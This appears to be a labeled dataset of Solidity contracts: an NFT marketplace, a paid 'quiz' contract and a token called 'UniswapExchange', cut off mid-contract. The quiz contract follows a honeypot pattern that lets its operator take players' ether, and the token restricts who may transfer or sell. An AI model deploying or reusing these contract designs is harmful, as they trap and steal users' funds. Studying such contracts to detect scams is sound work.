require(_temp[1] != 0x58, "string cannot start with 0X");
}
bool _hasNonNumber;
for (uint256 i = 0; i < _length; i++)
{
if (_temp[i] > 0x40 && _temp[i] < 0x5b)
{
_temp[i] = byte(uint(_temp[i]) + 32);
if (_hasNonNumber == false)
_hasNonNumber = true;
} else {
require
(
_temp[i] == 0x20 ||
(_temp[i] > 0x60 && _temp[i] < 0x7b) ||
(_temp[i] > 0x2f && _temp[i] < 0x3a),
"string contains invalid characters"
);
if (_temp[i] == 0x20)
require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces");
if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39))
_hasNonNumber = true;
}
}
require(_hasNonNumber == true, "string cannot be only numbers");
bytes32 _ret;
assembly {
_ret := mload(add(_temp, 32))
}
return (_ret);
}
} | 1 | 2,771 |
pragma solidity ^0.4.24;
interface ERC165 {
function supportsInterface(bytes4 _interfaceId)
external
view
returns (bool);
}
contract ERC721Basic is ERC165 {
bytes4 internal constant InterfaceId_ERC721 = 0x80ac58cd;
bytes4 internal constant InterfaceId_ERC721Exists = 0x4f558e79;
bytes4 internal constant InterfaceId_ERC721Enumerable = 0x780e9d63;
bytes4 internal constant InterfaceId_ERC721Metadata = 0x5b5e139f;
event Transfer(
address indexed _from,
address indexed _to,
uint256 indexed _tokenId
);
event Approval(
address indexed _owner,
address indexed _approved,
uint256 indexed _tokenId
);
event ApprovalForAll(
address indexed _owner,
address indexed _operator,
bool _approved
);
function balanceOf(address _owner) public view returns (uint256 _balance);
function ownerOf(uint256 _tokenId) public view returns (address _owner);
function exists(uint256 _tokenId) public view returns (bool _exists);
function approve(address _to, uint256 _tokenId) public;
function getApproved(uint256 _tokenId)
public view returns (address _operator);
function setApprovalForAll(address _operator, bool _approved) public;
function isApprovedForAll(address _owner, address _operator)
public view returns (bool);
function transferFrom(address _from, address _to, uint256 _tokenId) public;
function safeTransferFrom(address _from, address _to, uint256 _tokenId)
public;
function safeTransferFrom(
address _from,
address _to,
uint256 _tokenId,
bytes _data
)
public;
}
contract IAssetManager {
function createAssetPack(bytes32 _packCover, string _name, uint[] _attributes, bytes32[] _ipfsHashes, uint _packPrice) public;
function createAsset(uint _attributes, bytes32 _ipfsHash, uint _packId) public;
function buyAssetPack(address _to, uint _assetPackId) public payable;
function getNumberOfAssets() public view returns (uint);
function getNumberOfAssetPacks() public view returns(uint);
function checkHasPermissionForPack(address _address, uint _packId) public view returns (bool);
function checkHashExists(bytes32 _ipfsHash) public view returns (bool);
function givePermission(address _address, uint _packId) public;
function pickUniquePacks(uint [] assetIds) public view returns (uint[]);
function getAssetInfo(uint id) public view returns (uint, uint, bytes32);
function getAssetPacksUserCreated(address _address) public view returns(uint[]);
function getAssetIpfs(uint _id) public view returns (bytes32);
function getAssetAttributes(uint _id) public view returns (uint);
function getIpfsForAssets(uint [] _ids) public view returns (bytes32[]);
function getAttributesForAssets(uint [] _ids) public view returns(uint[]);
function withdraw() public;
function getAssetPackData(uint _assetPackId) public view returns(string, uint[], uint[], bytes32[]);
function getAssetPackName(uint _assetPackId) public view returns (string);
function getAssetPackPrice(uint _assetPackId) public view returns (uint);
function getCoversForPacks(uint [] _packIds) public view returns (bytes32[]);
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract ERC721Enumerable is ERC721Basic {
function totalSupply() public view returns (uint256);
function tokenOfOwnerByIndex(
address _owner,
uint256 _index
)
public
view
returns (uint256 _tokenId);
function tokenByIndex(uint256 _index) public view returns (uint256);
}
contract ERC721Metadata is ERC721Basic {
function name() external view returns (string _name);
function symbol() external view returns (string _symbol);
function tokenURI(uint256 _tokenId) public view returns (string);
}
contract ERC721 is ERC721Basic, ERC721Enumerable, ERC721Metadata {
}
contract ERC721Receiver {
bytes4 internal constant ERC721_RECEIVED = 0x150b7a02;
function onERC721Received(
address _operator,
address _from,
uint256 _tokenId,
bytes _data
)
public
returns(bytes4);
}
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
if (_a == 0) {
return 0;
}
c = _a * _b;
assert(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
return _a / _b;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_b <= _a);
return _a - _b;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
c = _a + _b;
assert(c >= _a);
return c;
}
}
library AddressUtils {
function isContract(address _addr) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(_addr) }
return size > 0;
}
}
contract SupportsInterfaceWithLookup is ERC165 {
bytes4 public constant InterfaceId_ERC165 = 0x01ffc9a7;
mapping(bytes4 => bool) internal supportedInterfaces;
constructor()
public
{
_registerInterface(InterfaceId_ERC165);
}
function supportsInterface(bytes4 _interfaceId)
external
view
returns (bool)
{
return supportedInterfaces[_interfaceId];
}
function _registerInterface(bytes4 _interfaceId)
internal
{
require(_interfaceId != 0xffffffff);
supportedInterfaces[_interfaceId] = true;
}
}
contract ERC721BasicToken is SupportsInterfaceWithLookup, ERC721Basic {
using SafeMath for uint256;
using AddressUtils for address;
bytes4 private constant ERC721_RECEIVED = 0x150b7a02;
mapping (uint256 => address) internal tokenOwner;
mapping (uint256 => address) internal tokenApprovals;
mapping (address => uint256) internal ownedTokensCount;
mapping (address => mapping (address => bool)) internal operatorApprovals;
constructor()
public
{
_registerInterface(InterfaceId_ERC721);
_registerInterface(InterfaceId_ERC721Exists);
}
function balanceOf(address _owner) public view returns (uint256) {
require(_owner != address(0));
return ownedTokensCount[_owner];
}
function ownerOf(uint256 _tokenId) public view returns (address) {
address owner = tokenOwner[_tokenId];
require(owner != address(0));
return owner;
}
function exists(uint256 _tokenId) public view returns (bool) {
address owner = tokenOwner[_tokenId];
return owner != address(0);
}
function approve(address _to, uint256 _tokenId) public {
address owner = ownerOf(_tokenId);
require(_to != owner);
require(msg.sender == owner || isApprovedForAll(owner, msg.sender));
tokenApprovals[_tokenId] = _to;
emit Approval(owner, _to, _tokenId);
}
function getApproved(uint256 _tokenId) public view returns (address) {
return tokenApprovals[_tokenId];
}
function setApprovalForAll(address _to, bool _approved) public {
require(_to != msg.sender);
operatorApprovals[msg.sender][_to] = _approved;
emit ApprovalForAll(msg.sender, _to, _approved);
}
function isApprovedForAll(
address _owner,
address _operator
)
public
view
returns (bool)
{
return operatorApprovals[_owner][_operator];
}
function transferFrom(
address _from,
address _to,
uint256 _tokenId
)
public
{
require(isApprovedOrOwner(msg.sender, _tokenId));
require(_from != address(0));
require(_to != address(0));
clearApproval(_from, _tokenId);
removeTokenFrom(_from, _tokenId);
addTokenTo(_to, _tokenId);
emit Transfer(_from, _to, _tokenId);
}
function safeTransferFrom(
address _from,
address _to,
uint256 _tokenId
)
public
{
safeTransferFrom(_from, _to, _tokenId, "");
}
function safeTransferFrom(
address _from,
address _to,
uint256 _tokenId,
bytes _data
)
public
{
transferFrom(_from, _to, _tokenId);
require(checkAndCallSafeTransfer(_from, _to, _tokenId, _data));
}
function isApprovedOrOwner(
address _spender,
uint256 _tokenId
)
internal
view
returns (bool)
{
address owner = ownerOf(_tokenId);
return (
_spender == owner ||
getApproved(_tokenId) == _spender ||
isApprovedForAll(owner, _spender)
);
}
function _mint(address _to, uint256 _tokenId) internal {
require(_to != address(0));
addTokenTo(_to, _tokenId);
emit Transfer(address(0), _to, _tokenId);
}
function _burn(address _owner, uint256 _tokenId) internal {
clearApproval(_owner, _tokenId);
removeTokenFrom(_owner, _tokenId);
emit Transfer(_owner, address(0), _tokenId);
}
function clearApproval(address _owner, uint256 _tokenId) internal {
require(ownerOf(_tokenId) == _owner);
if (tokenApprovals[_tokenId] != address(0)) {
tokenApprovals[_tokenId] = address(0);
}
}
function addTokenTo(address _to, uint256 _tokenId) internal {
require(tokenOwner[_tokenId] == address(0));
tokenOwner[_tokenId] = _to;
ownedTokensCount[_to] = ownedTokensCount[_to].add(1);
}
function removeTokenFrom(address _from, uint256 _tokenId) internal {
require(ownerOf(_tokenId) == _from);
ownedTokensCount[_from] = ownedTokensCount[_from].sub(1);
tokenOwner[_tokenId] = address(0);
}
function checkAndCallSafeTransfer(
address _from,
address _to,
uint256 _tokenId,
bytes _data
)
internal
returns (bool)
{
if (!_to.isContract()) {
return true;
}
bytes4 retval = ERC721Receiver(_to).onERC721Received(
msg.sender, _from, _tokenId, _data);
return (retval == ERC721_RECEIVED);
}
}
contract ERC721Token is SupportsInterfaceWithLookup, ERC721BasicToken, ERC721 {
string internal name_;
string internal symbol_;
mapping(address => uint256[]) internal ownedTokens;
mapping(uint256 => uint256) internal ownedTokensIndex;
uint256[] internal allTokens;
mapping(uint256 => uint256) internal allTokensIndex;
mapping(uint256 => string) internal tokenURIs;
constructor(string _name, string _symbol) public {
name_ = _name;
symbol_ = _symbol;
_registerInterface(InterfaceId_ERC721Enumerable);
_registerInterface(InterfaceId_ERC721Metadata);
}
function name() external view returns (string) {
return name_;
}
function symbol() external view returns (string) {
return symbol_;
}
function tokenURI(uint256 _tokenId) public view returns (string) {
require(exists(_tokenId));
return tokenURIs[_tokenId];
}
function tokenOfOwnerByIndex(
address _owner,
uint256 _index
)
public
view
returns (uint256)
{
require(_index < balanceOf(_owner));
return ownedTokens[_owner][_index];
}
function totalSupply() public view returns (uint256) {
return allTokens.length;
}
function tokenByIndex(uint256 _index) public view returns (uint256) {
require(_index < totalSupply());
return allTokens[_index];
}
function _setTokenURI(uint256 _tokenId, string _uri) internal {
require(exists(_tokenId));
tokenURIs[_tokenId] = _uri;
}
function addTokenTo(address _to, uint256 _tokenId) internal {
super.addTokenTo(_to, _tokenId);
uint256 length = ownedTokens[_to].length;
ownedTokens[_to].push(_tokenId);
ownedTokensIndex[_tokenId] = length;
}
function removeTokenFrom(address _from, uint256 _tokenId) internal {
super.removeTokenFrom(_from, _tokenId);
uint256 tokenIndex = ownedTokensIndex[_tokenId];
uint256 lastTokenIndex = ownedTokens[_from].length.sub(1);
uint256 lastToken = ownedTokens[_from][lastTokenIndex];
ownedTokens[_from][tokenIndex] = lastToken;
ownedTokens[_from].length--;
ownedTokensIndex[_tokenId] = 0;
ownedTokensIndex[lastToken] = tokenIndex;
}
function _mint(address _to, uint256 _tokenId) internal {
super._mint(_to, _tokenId);
allTokensIndex[_tokenId] = allTokens.length;
allTokens.push(_tokenId);
}
function _burn(address _owner, uint256 _tokenId) internal {
super._burn(_owner, _tokenId);
if (bytes(tokenURIs[_tokenId]).length != 0) {
delete tokenURIs[_tokenId];
}
uint256 tokenIndex = allTokensIndex[_tokenId];
uint256 lastTokenIndex = allTokens.length.sub(1);
uint256 lastToken = allTokens[lastTokenIndex];
allTokens[tokenIndex] = lastToken;
allTokens[lastTokenIndex] = 0;
allTokens.length--;
allTokensIndex[_tokenId] = 0;
allTokensIndex[lastToken] = tokenIndex;
}
}
contract Functions {
bytes32[] public randomHashes;
function fillWithHashes() public {
require(randomHashes.length == 0);
for (uint i = block.number - 100; i < block.number; i++) {
randomHashes.push(blockhash(i));
}
}
function calculateSeed(uint[] _randomHashIds, uint _timestamp) public view returns (uint) {
require(_timestamp != 0);
require(_randomHashIds.length == 10);
bytes32 randomSeed = keccak256(
abi.encodePacked(
randomHashes[_randomHashIds[0]], randomHashes[_randomHashIds[1]],
randomHashes[_randomHashIds[2]], randomHashes[_randomHashIds[3]],
randomHashes[_randomHashIds[4]], randomHashes[_randomHashIds[5]],
randomHashes[_randomHashIds[6]], randomHashes[_randomHashIds[7]],
randomHashes[_randomHashIds[8]], randomHashes[_randomHashIds[9]],
_timestamp
)
);
return uint(randomSeed);
}
function getRandomHashesLength() public view returns(uint) {
return randomHashes.length;
}
function decodeAssets(bytes32[] _potentialAssets) public pure returns (uint[] assets) {
require(_potentialAssets.length > 0);
uint[] memory assetsCopy = new uint[](_potentialAssets.length*10);
uint numberOfAssets = 0;
for (uint j = 0; j < _potentialAssets.length; j++) {
uint input;
bytes32 pot = _potentialAssets[j];
assembly {
input := pot
}
for (uint i = 10; i > 0; i--) {
uint mask = (2 << ((i-1) * 24)) / 2;
uint b = (input & (mask * 16777215)) / mask;
if (b != 0) {
assetsCopy[numberOfAssets] = b;
numberOfAssets++;
}
}
}
assets = new uint[](numberOfAssets);
for (i = 0; i < numberOfAssets; i++) {
assets[i] = assetsCopy[i];
}
}
function pickRandomAssets(uint _finalSeed, bytes32[] _potentialAssets) public pure returns(uint[] finalPicked) {
require(_finalSeed != 0);
require(_potentialAssets.length > 0);
uint[] memory assetIds = decodeAssets(_potentialAssets);
uint[] memory pickedIds = new uint[](assetIds.length);
uint finalSeedCopy = _finalSeed;
uint index = 0;
for (uint i = 0; i < assetIds.length; i++) {
finalSeedCopy = uint(keccak256(abi.encodePacked(finalSeedCopy, assetIds[i])));
if (finalSeedCopy % 2 == 0) {
pickedIds[index] = assetIds[i];
index++;
}
}
finalPicked = new uint[](index);
for (i = 0; i < index; i++) {
finalPicked[i] = pickedIds[i];
}
}
function getImage(uint _finalSeed, bytes32[] _potentialAssets, uint _width, uint _height) public pure
returns(uint[] finalPicked, uint[] x, uint[] y, uint[] zoom, uint[] rotation, uint[] layers) {
require(_finalSeed != 0);
require(_potentialAssets.length > 0);
uint[] memory assetIds = decodeAssets(_potentialAssets);
uint[] memory pickedIds = new uint[](assetIds.length);
x = new uint[](assetIds.length);
y = new uint[](assetIds.length);
zoom = new uint[](assetIds.length);
rotation = new uint[](assetIds.length);
layers = new uint[](assetIds.length);
uint finalSeedCopy = _finalSeed;
uint index = 0;
for (uint i = 0; i < assetIds.length; i++) {
finalSeedCopy = uint(keccak256(abi.encodePacked(finalSeedCopy, assetIds[i])));
if (finalSeedCopy % 2 == 0) {
pickedIds[index] = assetIds[i];
(x[index], y[index], zoom[index], rotation[index], layers[index]) = pickRandomAssetPosition(finalSeedCopy, _width, _height);
index++;
}
}
finalPicked = new uint[](index);
for (i = 0; i < index; i++) {
finalPicked[i] = pickedIds[i];
}
}
function pickRandomAssetPosition(uint _randomSeed, uint _width, uint _height) public pure
returns (uint x, uint y, uint zoom, uint rotation, uint layer) {
x = _randomSeed % _width;
y = _randomSeed % _height;
zoom = _randomSeed % 200 + 800;
rotation = _randomSeed % 360;
layer = _randomSeed % 1234567;
}
function getFinalSeed(uint _randomSeed, uint _iterations) public pure returns (bytes32) {
require(_randomSeed != 0);
require(_iterations != 0);
bytes32 finalSeed = bytes32(_randomSeed);
finalSeed = keccak256(abi.encodePacked(_randomSeed, _iterations));
for (uint i = 0; i < _iterations; i++) {
finalSeed = keccak256(abi.encodePacked(finalSeed, i));
}
return finalSeed;
}
function toHex(uint _randomSeed) public pure returns (bytes32) {
return bytes32(_randomSeed);
}
}
contract UserManager {
struct User {
string username;
bytes32 hashToProfilePicture;
bool exists;
}
uint public numberOfUsers;
mapping(string => bool) internal usernameExists;
mapping(address => User) public addressToUser;
mapping(bytes32 => bool) public profilePictureExists;
mapping(string => address) internal usernameToAddress;
event NewUser(address indexed user, string username, bytes32 profilePicture);
function register(string _username, bytes32 _hashToProfilePicture) public {
require(usernameExists[_username] == false ||
keccak256(abi.encodePacked(getUsername(msg.sender))) == keccak256(abi.encodePacked(_username))
);
if (usernameExists[getUsername(msg.sender)]) {
usernameExists[getUsername(msg.sender)] = false;
} else {
numberOfUsers++;
emit NewUser(msg.sender, _username, _hashToProfilePicture);
}
addressToUser[msg.sender] = User({
username: _username,
hashToProfilePicture: _hashToProfilePicture,
exists: true
});
usernameExists[_username] = true;
profilePictureExists[_hashToProfilePicture] = true;
usernameToAddress[_username] = msg.sender;
}
function changeProfilePicture(bytes32 _hashToProfilePicture) public {
require(addressToUser[msg.sender].exists, "User doesn't exists");
addressToUser[msg.sender].hashToProfilePicture = _hashToProfilePicture;
}
function getUserInfo(address _address) public view returns(string, bytes32) {
User memory user = addressToUser[_address];
return (user.username, user.hashToProfilePicture);
}
function getUsername(address _address) public view returns(string) {
return addressToUser[_address].username;
}
function getProfilePicture(address _address) public view returns(bytes32) {
return addressToUser[_address].hashToProfilePicture;
}
function isUsernameExists(string _username) public view returns(bool) {
return usernameExists[_username];
}
}
contract DigitalPrintImage is ERC721Token("DigitalPrintImage", "DPM"), UserManager, Ownable {
struct ImageMetadata {
uint finalSeed;
bytes32[] potentialAssets;
uint timestamp;
address creator;
string ipfsHash;
string extraData;
}
mapping(uint => bool) public seedExists;
mapping(uint => ImageMetadata) public imageMetadata;
mapping(uint => string) public idToIpfsHash;
address public marketplaceContract;
IAssetManager public assetManager;
Functions public functions;
modifier onlyMarketplaceContract() {
require(msg.sender == address(marketplaceContract));
_;
}
event ImageCreated(uint indexed imageId, address indexed owner);
function createImage(
uint[] _randomHashIds,
uint _timestamp,
uint _iterations,
bytes32[] _potentialAssets,
string _author,
string _ipfsHash,
string _extraData) public payable {
require(_potentialAssets.length <= 5);
require(msg.sender == usernameToAddress[_author] || !usernameExists[_author]);
if (!usernameExists[_author]) {
register(_author, bytes32(0));
}
uint[] memory pickedAssets;
uint finalSeed;
(pickedAssets, finalSeed) = getPickedAssetsAndFinalSeed(_potentialAssets, _randomHashIds, _timestamp, _iterations);
uint[] memory pickedAssetPacks = assetManager.pickUniquePacks(pickedAssets);
uint finalPrice = 0;
for (uint i = 0; i < pickedAssetPacks.length; i++) {
if (assetManager.checkHasPermissionForPack(msg.sender, pickedAssetPacks[i]) == false) {
finalPrice += assetManager.getAssetPackPrice(pickedAssetPacks[i]);
assetManager.buyAssetPack.value(assetManager.getAssetPackPrice(pickedAssetPacks[i]))(msg.sender, pickedAssetPacks[i]);
}
}
require(msg.value >= finalPrice);
uint id = totalSupply();
_mint(msg.sender, id);
imageMetadata[id] = ImageMetadata({
finalSeed: finalSeed,
potentialAssets: _potentialAssets,
timestamp: _timestamp,
creator: msg.sender,
ipfsHash: _ipfsHash,
extraData: _extraData
});
idToIpfsHash[id] = _ipfsHash;
seedExists[finalSeed] = true;
emit ImageCreated(id, msg.sender);
}
function transferFromMarketplace(address _from, address _to, uint256 _imageId) public onlyMarketplaceContract {
require(isApprovedOrOwner(_from, _imageId));
clearApproval(_from, _imageId);
removeTokenFrom(_from, _imageId);
addTokenTo(_to, _imageId);
emit Transfer(_from, _to, _imageId);
}
function addMarketplaceContract(address _marketplaceContract) public onlyOwner {
require(address(marketplaceContract) == 0x0);
marketplaceContract = _marketplaceContract;
}
function addAssetManager(address _assetManager) public onlyOwner {
require(address(assetManager) == 0x0);
assetManager = IAssetManager(_assetManager);
}
function addFunctions(address _functions) public onlyOwner {
require(address(functions) == 0x0);
functions = Functions(_functions);
}
function calculatePrice(uint[] _pickedAssets, address _owner) public view returns (uint) {
if (_pickedAssets.length == 0) {
return 0;
}
uint[] memory pickedAssetPacks = assetManager.pickUniquePacks(_pickedAssets);
uint finalPrice = 0;
for (uint i = 0; i < pickedAssetPacks.length; i++) {
if (assetManager.checkHasPermissionForPack(_owner, pickedAssetPacks[i]) == false) {
finalPrice += assetManager.getAssetPackPrice(pickedAssetPacks[i]);
}
}
return finalPrice;
}
function getGalleryData(uint _imageId) public view
returns(address, address, string, bytes32, string, string) {
require(_imageId < totalSupply());
return(
imageMetadata[_imageId].creator,
ownerOf(_imageId),
addressToUser[ownerOf(_imageId)].username,
addressToUser[ownerOf(_imageId)].hashToProfilePicture,
imageMetadata[_imageId].ipfsHash,
imageMetadata[_imageId].extraData
);
}
function getImageMetadata(uint _imageId) public view
returns(address, string, uint, string, uint, bytes32[]) {
ImageMetadata memory metadata = imageMetadata[_imageId];
return(
metadata.creator,
metadata.extraData,
metadata.finalSeed,
metadata.ipfsHash,
metadata.timestamp,
metadata.potentialAssets
);
}
function getUserImages(address _user) public view returns(uint[]) {
return ownedTokens[_user];
}
function getPickedAssetsAndFinalSeed(bytes32[] _potentialAssets, uint[] _randomHashIds, uint _timestamp, uint _iterations) internal view returns(uint[], uint) {
uint finalSeed = uint(functions.getFinalSeed(functions.calculateSeed(_randomHashIds, _timestamp), _iterations));
require(!seedExists[finalSeed]);
return (functions.pickRandomAssets(finalSeed, _potentialAssets), finalSeed);
}
}
contract Marketplace is Ownable {
struct Ad {
uint price;
address exchanger;
bool exists;
bool active;
}
DigitalPrintImage public digitalPrintImageContract;
uint public creatorPercentage = 3;
uint public marketplacePercentage = 2;
uint public numberOfAds;
uint[] public allAds;
mapping(uint => Ad) public sellAds;
mapping(address => uint) public balances;
constructor(address _digitalPrintImageContract) public {
digitalPrintImageContract = DigitalPrintImage(_digitalPrintImageContract);
numberOfAds = 0;
}
event SellingImage(uint indexed imageId, uint price);
event ImageBought(uint indexed imageId, address indexed newOwner, uint price);
function sell(uint _imageId, uint _price) public {
require(digitalPrintImageContract.ownerOf(_imageId) == msg.sender);
bool exists = sellAds[_imageId].exists;
sellAds[_imageId] = Ad({
price: _price,
exchanger: msg.sender,
exists: true,
active: true
});
if (!exists) {
numberOfAds++;
allAds.push(_imageId);
}
emit SellingImage(_imageId, _price);
}
function getActiveAds() public view returns (uint[], uint[]) {
uint count;
for (uint i = 0; i < numberOfAds; i++) {
if (isImageOnSale(allAds[i])) {
count++;
}
}
uint[] memory imageIds = new uint[](count);
uint[] memory prices = new uint[](count);
count = 0;
for (i = 0; i < numberOfAds; i++) {
Ad memory ad = sellAds[allAds[i]];
if (isImageOnSale(allAds[i])) {
imageIds[count] = allAds[i];
prices[count] = ad.price;
count++;
}
}
return (imageIds, prices);
}
function isImageOnSale(uint _imageId) public view returns(bool) {
Ad memory ad = sellAds[_imageId];
return ad.exists && ad.active && (ad.exchanger == digitalPrintImageContract.ownerOf(_imageId));
}
function buy(uint _imageId) public payable {
require(isImageOnSale(_imageId));
require(msg.value >= sellAds[_imageId].price);
removeOrder(_imageId);
address _creator;
address _imageOwner = digitalPrintImageContract.ownerOf(_imageId);
(, , _creator, ,) = digitalPrintImageContract.imageMetadata(_imageId);
balances[_creator] += msg.value * 2 / 100;
balances[owner] += msg.value * 3 / 100;
balances[_imageOwner] += msg.value * 95 / 100;
digitalPrintImageContract.transferFromMarketplace(sellAds[_imageId].exchanger, msg.sender, _imageId);
emit ImageBought(_imageId, msg.sender, msg.value);
}
function cancel(uint _imageId) public {
require(sellAds[_imageId].exists == true);
require(sellAds[_imageId].exchanger == msg.sender);
require(sellAds[_imageId].active == true);
removeOrder(_imageId);
}
function withdraw() public {
uint amount = balances[msg.sender];
balances[msg.sender] = 0;
msg.sender.transfer(amount);
}
function removeOrder(uint _imageId) private {
sellAds[_imageId].active = false;
}
} | 1 | 3,207 |
pragma solidity ^0.4.25;
contract try_it
{
function Try(string _response) external payable {
require(msg.sender == tx.origin);
if(responseHash == keccak256(_response) && msg.value > 1 ether)
{
msg.sender.transfer(this.balance);
}
}
string public question;
address questionSender;
bytes32 responseHash;
bytes32 questionerPin = 0x375f26a4de333a30af8cae9ae2a71796f5a346f2cd3852205ce5475634da44ad;
function Activate(bytes32 _questionerPin, string _question, string _response) public payable {
if(keccak256(_questionerPin)==questionerPin)
{
responseHash = keccak256(_response);
question = _question;
questionSender = msg.sender;
questionerPin = 0x0;
}
}
function StopGame() public payable {
require(msg.sender==questionSender);
msg.sender.transfer(this.balance);
}
function NewQuestion(string _question, bytes32 _responseHash) public payable {
if(msg.sender==questionSender){
question = _question;
responseHash = _responseHash;
}
}
function newQuestioner(address newAddress) public {
if(msg.sender==questionSender)questionSender = newAddress;
}
function() public payable{}
} | 1 | 3,800 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
